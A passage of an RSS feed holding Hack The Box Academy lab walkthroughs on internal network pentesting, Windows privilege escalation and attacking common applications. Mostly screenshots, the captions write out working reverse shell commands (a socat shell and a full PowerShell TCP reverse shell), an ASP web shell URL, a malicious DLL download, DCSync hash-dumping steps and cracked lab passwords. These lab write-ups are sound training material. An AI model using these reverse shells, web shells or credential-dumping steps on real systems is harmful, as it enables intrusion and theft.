to find a flag in the web root. Submit the flag value as your answer (flag format: HTB{}).</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/365/1*lE37A0Nm7q_hsAybkGyTHA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1lfEtlQx-QtuOMNJcxnR4A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aqeZS1_N7ahgpZphPi2G7g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dwqOy2e3M1DpP8xMwtirPg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AToMHs-B9LBtWHxFvh1syg.png" /></figure><p><strong>Submit the contents of the flag.txt file in the /home/srvadm directory.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1BM0enPnfu_gO506eGI7pw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*osK3gpXazqVSOHbDm_MeCA.png" /><figcaption>Start a listener on port 8443 and another on port 4443.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/685/1*3GRGaUvRaIg6V9ejjP6zgA.png" /><figcaption>Then, using the previously established nc reverse shell, students need to run the following command: socat exec:’bash -li’,pty,stderr,setsid,sigint,sane tcp:10.10.15.87:4443</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/856/1*d0FaRFyB8QKQINjx-XoURA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/789/1*0QbfhKcoa_Bnew5ZTc7p0g.png" /></figure><p><strong>Escalate privileges on the target host and submit the contents of the flag.txt file in the /root directory.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/880/1*AKfhPUT-lieXMyqMJZiIRg.png" /><figcaption>copy and paste the ssh private key to a file.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*pFmd_020SuaG-4p9eabi7Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/887/1*m4L-cI7WGqCnln24PkcuBA.png" /></figure><p><strong>Mount an NFS share and find a flag.txt file. Submit the contents as your answer.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JOAlvBrDLCNRuuwKLWvBlA.png" /><figcaption>First set up the SSH dynamic port forwarding and check with Netstat if it’s working (routing table).</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/948/1*Z_vJrteY1K3KGtGRKAN8Mg.png" /><figcaption>check the ip interfaces (ip a) and we can see an internal and external ip address/subnet.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TIAisudhdszUduG31tjCEA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*My3DU9uWMn83Q5F72siZsg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/881/1*JLPa3N4dUdyrEDKIaskutg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/805/1*NMFwkqOJgek9qOTTVSnMUw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*slkV3REnYIlK3epvAwSU9A.png" /><figcaption>asp,aspx,exe,SAVE</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qW_Jp_po6EFY785VHOKJEA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/570/1*qc8AM1bqhrRzTjeanX-9vw.png" /><figcaption><a href="http://172.16.8.20/Portals/0/newaspcmd.asp?cmd=whoami">http://172.16.8.20/Portals/0/newaspcmd.asp?cmd=whoami</a></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/871/1*afbpUd4ASwxwSjVnzwT1lA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/668/1*gm9FHErl3R650cOrtIgl9g.png" /><figcaption>powershell -nop -c “$client = New-Object System.Net.Sockets.TCPClient(‘172.16.8.120’,9999);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2&gt;&amp;1 | Out-String );$sendback2 = $sendback + ‘PS ‘ + (pwd).Path + ‘&gt; ‘;$sendbyte =([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()”</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/564/1*6uXfHDTpvdOH9Zt2xixu8A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7N4Fgoac0yN-UmM3mO9tmw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*k65XEp1Uy6EEpy76N94V_w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/660/1*ejuREGm5HZ7E1JYOxMQeXw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wtr70UAfdA15cIJp8xtM_w.png" /><figcaption>Download all the .SAVE files one by one.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jzwtlPtrowLFIPbOFY8YdQ.png" /></figure><p><strong>Escalate privileges on the DEV01 host. Submit the contents of the flag.txt file on the Administrator Desktop.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/657/1*sfJaZNzSgoJf52L7zTwwJg.png" /></figure><p><strong>Find a backup script that contains the password for the backupadm user. Submit this user’s password as your answer.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/704/1*Jzda3Jyz7op0DWMGS2g8ZQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1020/1*KH8ETLmho7zTxwOZh2vqaA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/524/1*wArr-BBgAwMZvfentKCaNA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/960/1*P-D4UBaWx00r_ybKNZRKzA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1002/1*pp36PKvIhYDr9elq9YangQ.png" /><figcaption>DC01.INLANEFREIGHT.LOCAL has a share Department Shares — DC01 = 172.16.8.3</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dO1EUzIltFzRYgO42dA3eA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/910/1*-oVVmToQKSxSXWWkOCcWnw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/545/1*io6C3wiFMKyCYZWoWuFg-A.png" /></figure><p><strong>Perform a Kerberoasting attack and retrieve TGS tickets for all accounts set as SPNs. Crack the TGS of the backupjob user and submit the cleartext password as your answer.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kAOKqhqAehwQxjNYum3r1g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-0WUJxxuNdeexe8kY_jw9A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qjeyw0M7cgXN0JDeXNGrdQ.png" /></figure><p><strong>Escalate Privileges on the MS01 host and submit the contents of the flag.txt file on the Administrator Desktop.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZKCl4aqCq4kctuBo7DAeag.png" /><figcaption>Start winrm (password: !qazXSW@) and search around. Than print out the contents of the XML file.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/894/1*b0cSFaTgAZ2nVbXRBlsyfw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wXfPZoLkizOs_vmR2Hy-Vg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/972/1*Kwi3N-Xa84yC3RQbiVI-LQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/827/1*vd9_waMT7BvHuQ9Z750sCw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/955/1*j9NSO073f4L_VkD0QDa3Dw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/812/1*8nqWbHyQwa1doV_rxyTMKQ.png" /><figcaption>Uncheck Login as the following user to run task.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/892/1*dxvjx_-RPu5joYErCDi4vQ.png" /><figcaption>Create a dummy file so that the task is triggered and the batch script is executed.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/949/1*x0TGpbMz-3MZ_nXeE9VdvA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/645/1*-rwakCMcD7AsSbW4CDpqfw.png" /><figcaption>Go to the directory C:\Users\Administrator\Desktop\, and when prompted for credentials, you need to supply .\ilfserveradm:Sys26Admin</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/889/1*7vTBt_68vbbNCzKdw4C4gQ.png" /></figure><p><strong>Obtain the NTLMv2 password hash for the mpalledorous user and crack it to reveal the cleartext value. Submit the user’s password as your answer.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/921/1*w8eT5lm8_hjYuyPimlJODQ.png" /><figcaption>Copy and paste Invoke-Inveigh to your rdp session.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/839/1*hG7WhiJaLGg1icfKjq8RQg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0ZCk3xfPIEiR_lJugoei6A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/661/1*4rF5yyTLyrqbpFWNqO-i5Q.png" /><figcaption>1squints2</figcaption></figure><p><strong>Set a fake SPN on the ttimmons user. Kerberoast this user and crack the TGS ticket offline to reveal their cleartext password. Submit the password as your answer.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/671/1*9dUDciFSXCjb0yz0ZIhYQA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1011/1*_YiwxXD_nL7UCJlht3xq0g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dFchuKazYZ03HDW9-rfNYw.png" /><figcaption>Repeat09</figcaption></figure><p><strong>After obtaining Domain Admin rights, authenticate to the domain controller and submit the contents of the flag.txt file on the Administrator Desktop.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/959/1*i5Ph1BRF42zxqjcibN5lpA.png" /><figcaption>Now that students have obtained the password for the ttimons user from the previous question (i.e., Repeat09), they need to place him in the Server Admins group, thus allowing for a DCSync attack and dumping all hashes of the domain. Using the same RDP connection on the Windows target ACADEMY-AEN-DEV01 that has PowerView from the previous questions, students need to create another PSCredential object and add ttimmons to the Server Admins group to inherit DCSync Privileges:</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*VROaDcpK2lj1M4EzXNX7jQ.png" /><figcaption>We need to run secretsdump.py to dump NTDS and capture the hash of the Administrator user (supplying the password Repeat09 when prompted to)</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*orTy80KvgMhzTf_voRTeKA.png" /><figcaption>Connect to the DC using EvilWinRM</figcaption></figure><p><strong>Compromise the INLANEFREIGHT.LOCAL domain and dump the NTDS database. Submit the NT hash of the Administrator account as your answer.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SBE-vQJ-FmHdENPyr5XsEQ.png" /></figure><p><strong>Gain access to the MGMT01 host and submit the contents of the flag.txt file in a user’s home directory.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uDhwGJ7gVMK3TLjtyaNpFQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PfV6iBugcWPHC8NC_LRaCA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/998/1*pFWNP4385MRJWwuxxBlIcw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3JEy5yN1i5daLru2GFxSzw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/979/1*mndCbj-u-MQOXEUk3zXspA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/766/1*dEwzWklBQuH-XI77D1umZg.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8233446dd9b6" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Walkthrough HTB: Windows Privilege Escalation]]></title>
            <link>https://medium.com/@jordi_been/walkthrough-htb-windows-privilege-escalation-026a29cc29d9?source=rss-bcfb9884f0cc------2</link>
            <guid isPermaLink="false">https://medium.com/p/026a29cc29d9</guid>
            <dc:creator><![CDATA[Jordi Been]]></dc:creator>
            <pubDate>Fri, 19 Jun 2026 14:41:00 GMT</pubDate>
            <atom:updated>2026-06-19T14:41:00.862Z</atom:updated>
            <content:encoded><![CDATA[<p>What is the IP address of the other NIC attached to the target host?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/511/1*bMwCg7ggbC41XeMcrdgk7g.png" /></figure><p>What executable other than cmd.exe is blocked by AppLocker?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/727/1*JDcagiL3JLZqrldgTHTUjg.png" /></figure><p>What non-default privilege does the htb-student user have?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/493/1*QdCXmUJkn2cVo_oADplxqg.png" /></figure><p>Who is a member of the Backup Operators group?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/852/1*bwVci7t88a4xHK-75Ck5Vg.png" /></figure><p>What service is listening on port 8080 (service name not the executable)?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/533/1*rCeSkEgUdaseoZWQoinEtQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/643/1*MNsWLGDcxuCBP8ASoDWIdg.png" /></figure><p>What user is logged in to the target host?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/587/1*WZMpLwzj9IiYxI-c4rf87g.png" /></figure><p>What type of session does this user have?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/587/1*WZMpLwzj9IiYxI-c4rf87g.png" /></figure><p>What service is listening on 0.0.0.0:21? (two words)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/545/1*3V84XGDcgEjKFPx4kHP98Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/547/1*e_FcUiePv0WK3PDOS855FQ.png" /></figure><p>Which account has WRITE_DAC privileges over the \pipe\SQLLocal\SQLEXPRESS01 named pipe?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/594/1*ozl-5jHmQX2qBJObqSuaEA.png" /></figure><p>Escalate privileges using one of the methods shown in this section. Submit the contents of the flag file located at c:\Users\Administrator\Desktop\SeImpersonate\flag.txt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/766/1*CQsv70i7QCi30JBDvG03cQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/770/1*Woa91yxZ2P5sFvqAc2O0-g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/514/1*7ululJh_YcbSG3XIVthlCw.png" /></figure><p>Leverage SeDebugPrivilege rights and obtain the NTLM password hash for the sccm_svc account.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/687/1*y4FgRI3K3NBa-FpmX_U94w.png" /></figure><p>Leverage SeTakeOwnershipPrivilege rights over the file located at “C:\TakeOwn\flag.txt” and submit the contents.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/834/1*E3rcBpogVpgE9nbqd6uYFA.png" /></figure><p>Leverage SeBackupPrivilege rights and obtain the flag located at c:\Users\Administrator\Desktop\SeBackupPrivilege\flag.txt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/816/1*cJV9UBXisPDhChQDXI15Qw.png" /></figure><p>Using the methods demonstrated in this section find the password for the user mary.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/676/1*qefYGUMBxp_FP42yBLx-Og.png" /></figure><p>Leverage membership in the DnsAdmins group to escalate privileges. Submit the contents of the flag located at c:\Users\Administrator\Desktop\DnsAdmins\flag.txt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/857/1*guh3TvpXmCYISwjw6YeFcQ.png" /><figcaption>PS: wget “http://&lt;ip&gt;/adduser.dll” -outfile “adduser.dll”. Go further cmd.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/741/1*3bQmye0rbRlpUyUNsWrdJQ.png" /><figcaption>Sign out and Sign in again</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/608/1*v_WylTuRUTOli_sWuvnvmA.png" /></figure><p>Follow the steps in this section to escalate privileges to SYSTEM, and submit the contents of the flag.txt file on administrator’s Desktop. Necessary tools for both methods can be found in the C:\Tools directory, or you can practice compiling and uploading them on your own.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zYMgii2KYNReUhjOXYF6Kg.png" /></figure><p>Escalate privileges using the methods shown in this section and submit the contents of the flag located at c:\Users\Administrator\Desktop\ServerOperators\flag.txt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/724/1*9IX12iMK95PeBOIbsf3IQQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/869/1*hDyAAYYBO8T_-MVlAtDjSQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bZOe2_sXTgGQS9z4j4ezfg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/846/1*LjBchnurgLYEBgCTMTLCOg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/740/1*b7PpgNnOT1fq-gGRGqo_Rw.png" /><figcaption>Sign out and Sign in again.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/654/1*aNMe-vIL2MjFjrTlW8TZew.png" /></figure><p>Follow the steps in this section to obtain a reverse shell connection with normal user privileges and another which bypasses UAC. Submit the contents of flag.txt on the sarah user’s Desktop when finished.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/958/1*gL8g3sddgxajTMm-MoP5SQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/856/1*O21dO4JMPZ8aSGIf8nLvAw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/962/1*7bkUi7xmL9Gyo1fwLpfB9Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/576/1*QfulqOSI9eISDFSxFtYE7A.png" /></figure><p>Escalate privileges on the target host using the techniques demonstrated in this section. Submit the contents of the flag in the WeakPerms folder on the Administrator Desktop.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/605/1*18kQQImKoNMxAN6CxSpoog.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/959/1*obsX_VQwYxHgzKuYuGzH4Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/725/1*7kVsOmGHUyh2bj2xOOsXlw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/658/1*Hpv_xXMbg5wJNbeZhBWywQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/568/1*Sb6GZA8I9VmZOy4sKWrkBQ.png" /></figure><p>Try out the 3 examples in this section to escalate privileges to NT AUTHORITY\SYSTEM on the target host. Submit the contents of the flag on the Administrator Desktop.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/838/1*Hp0rBNsrR-mpp0JDeg0iJw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/676/1*-XOAhz6qIXiz2Kxp9PtZzQ.png" /><figcaption>Authenticate with 2nd part of NTLM hash</figcaption></figure><p>Work through the steps above to escalate privileges on the target system using the Druva inSync flaw. Submit the contents of the flag in the VulServices folder on the Administrator Desktop.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/565/1*MRaS7t34jycRTogWCBGVtg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/759/1*jZBUdlQfHWZ63tbE25_11g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/452/1*AA41OeLa_SxqJMZxWqzb-g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1009/1*EZDb0UW3L5UDUgJuWaEQoA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/618/1*jEo1g53XygNfSIKSyrm5tg.png" /><figcaption>Start a python server on 8080! and a listener on 8443 and run Druva.ps1 on the victims host to get a reverse shell.</figcaption></figure><p>Search the file system for a file containing a password. Submit the password as your answer.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1008/1*ajgJfKYi_pRYiW1eV24lhw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/446/1*mgfaawoypIT6XhJGETVhYw.png" /></figure><p>Connect as the bob user and practice decrypting the credentials in the pass.xml file. Submit the contents of the flag.txt on the desktop once you are done.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/826/1*TtosSLkRyvfjo180VYkQ0Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/503/1*0XQ6x5-I0_I8RQ03Po8FjA.png" /></figure><p>Using the techniques shown in this section, find the cleartext password for the bob_adm user on the target system.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*J6RcTKxAAGaEscQQTk2guA.png" /></figure><p>Using the techniques covered in this section, retrieve the sa password for the SQL01.inlanefreight.local user account.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/551/1*--Bl7GezYFhJmKW2Fl6Njg.png" /></figure><p>Which user has credentials stored for RDP access to the WEB01 host?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/911/1*kByn6D_2OurPz5Zspwjinw.png" /></figure><p>Find and submit the password for the root user to access <a href="https://vc01.inlanefreight.local/ui/login">https://vc01.inlanefreight.local/ui/login</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/838/1*-gBNiY58u2-Dmv6ojfPkWA.png" /></figure><p>Enumerate the host and find the password for ftp.ilfreight.local</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/530/1*wALG_Ju_8vR8mapusGaInQ.png" /></figure><p>Submit the user flag from C:\Users\pmorgan\Downloads</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/876/1*88zLFX4sGaWt2mamljE4lQ.png" /></figure><p>Submit the Administrator’s flag from C:\Users\Administrator\Desktop</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/669/1*F5LYr-M1SDNCD5tufxndlg.png" /></figure><p>Interacting with Users — SCF on a File Share<br>Using the techniques in this section obtain the cleartext credentials for the SCCM_SVC user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/558/1*bnUKtNWZf1tkgpRWcF80-g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/915/1*TzoFlNJXbc8z1TLkYa_Drw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/601/1*DTtZa41g8O7oKoN5IYPXUA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Avekfrb6-FqddW_BLWCUyA.png" /></figure><p>Access the target machine using Peter’s credentials and check which applications are installed. What’s the application installed used to manage and connect to remote systems?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/389/1*knv3uPvstfUD5g7aD__8Dw.png" /></figure><p>Find the configuration file for the application you identify and attempt to obtain the credentials for the user Grace. What is the password for the local account, Grace?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1009/1*knh7O3qas7iPZ2sDIjqHFw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bF9LoK5xn6HzyxxF7dAhFA.png" /></figure><p>Log in as Grace and find the cookies for the slacktestapp.com website. Use the cookie to log in into slacktestapp.com from a browser within the RDP session and submit the flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/786/1*_m9caXP9akNDdTKJmlKxMg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1018/1*-WUw-FLYGK_8mKH1EyTvYQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*knUt6x_ItsghSnN2wY8HbA.png" /><figcaption>python3 /opt/cookieextractor.py — dbpath cookies.sqlite — host slacktestapp</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1016/1*kilnL-H5qitsE7wBhUmxbA.png" /><figcaption>Add cookie with content of cookie d and refresh the page.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1020/1*MxA-YKLyz_pbJTF87zRqWg.png" /></figure><p>Log in as Jeff via RDP and find the password for the restic backups. Submit the password as the answer.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/979/1*A9iel8ZuqA-iO09nl_ynNw.png" /></figure><p>Restore the directory containing the files needed to obtain the password hashes for local users. Submit the Administrator hash as the answer.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/990/1*tpvEaaandbxMoO51p7q1rQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/833/1*tJYJzvEfOUklNo1tqXSvcg.png" /></figure><p>Using the techniques in this section, find the cleartext password for an account on the target host.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/904/1*6gTP1nuwDKUg1sCxXsrRwA.png" /></figure><p>Obtain a shell on the target host, enumerate the system and escalate privileges. Submit the contents of the flag.txt file on the Administrator Desktop.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/945/1*bN1WIGpdEpKFh9CqE8mzCw.png" /></figure><h4>Windows Privilege Escalation Skills Assessment — Part I</h4><p>Which two KBs are installed on the target system? (Answer format: 3210000&amp;3210060)</p><p>Find the password for the ldapadmin account somewhere on the system.</p><p>Escalate privileges and submit the contents of the flag.txt file on the Administrator Desktop.</p><p>After escalating privileges, locate a file named confidential.txt. Submit the contents of this file.</p><h4>Windows Privilege Escalation Skills Assessment — Part II</h4><p>Find left behind cleartext credentials for the iamtheadministrator domain admin account.</p><p>Escalate privileges to SYSTEM and submit the contents of the flag.txt file on the Administrator Desktop.</p><p>There is 1 disabled local admin user on this system with a weak password that may be used to access other systems in the network and is worth reporting to the client. After escalating privileges retrieve the NTLM hash for this user and crack it offline. Submit the cleartext password for this account.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=026a29cc29d9" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Walkthrough HTB: Attacking Common Applications]]></title>
            <link>https://medium.com/@jordi_been/walkthrough-htb-attacking-common-applications-271f2a5b6aa8?source=rss-bcfb9884f0cc------2</link>
            <guid isPermaLink="false">https://medium.com/p/271f2a5b6aa8</guid>
            <dc:creator><![CDATA[Jordi Been]]></dc:creator>
            <pubDate>Fri, 19 Jun 2026 05:31:01 GMT</pubDate>
            <atom:updated>2026-06-19T05:31:01.009Z</atom:updated>
            <content:encoded><![CDATA[<p>Use what you’ve learned from this section to generate a report with EyeWitness. What is the name of the .db file EyeWitness creates in the inlanefreight_eyewitness folder? (Format: filename.db)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/535/1*-iONjEc_ku9xY9FSXZOoTg.png" /><figcaption>Add these vhosts to /etc/hosts and create a file “scopelist” with these hostnames.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/923/1*iu5k_qtyfxANxe1EBgNwhw.png" /><figcaption>Scan webservices for version and scan again on open webserver port in combination with the scopelist. Write this output to webDiscovery (.nmap, .xml, .gnmap).</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/859/1*SHWXfxquy8sgJs476xWDRQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sCQPeo2orLaehV7DTBl0YQ.png" /><figcaption>Open the created folder inlanefreight_eyewitness.</figcaption></figure><p>What does the header on the title page say when opening the aquatone_report.html page with a web browser? (Format: 3 words, case sensitive)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/697/1*tQJFY37c6X0stcpz9EBy0Q.png" /><figcaption>After installing Aquatone. run the output of webDiscovery.xml into aquatone. (It works similar as eyewitness)</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/799/1*fcjFWigkg2Tr4J79NExVmQ.png" /><figcaption>We can see the header on the aquatone_report.html page</figcaption></figure><p>Enumerate the host and find a flag.txt flag in an accessible directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/734/1*M-VXrEMhwVrAtpI5PC-qwQ.png" /><figcaption>wpscan — url <a href="http://blog.inlanefreight.local/">http://blog.inlanefreight.local</a> — enumerate</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/858/1*9Zsql601hH9YN223lFFPNw.png" /></figure><p>Perform manual enumeration to discover another installed plugin. Submit the plugin name as the answer (3 words).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1uRjS9a5m8I9NOuv4WcIeg.png" /></figure><p>Find the version number of this plugin. (i.e., 4.5.2)</p><figure><img alt="" 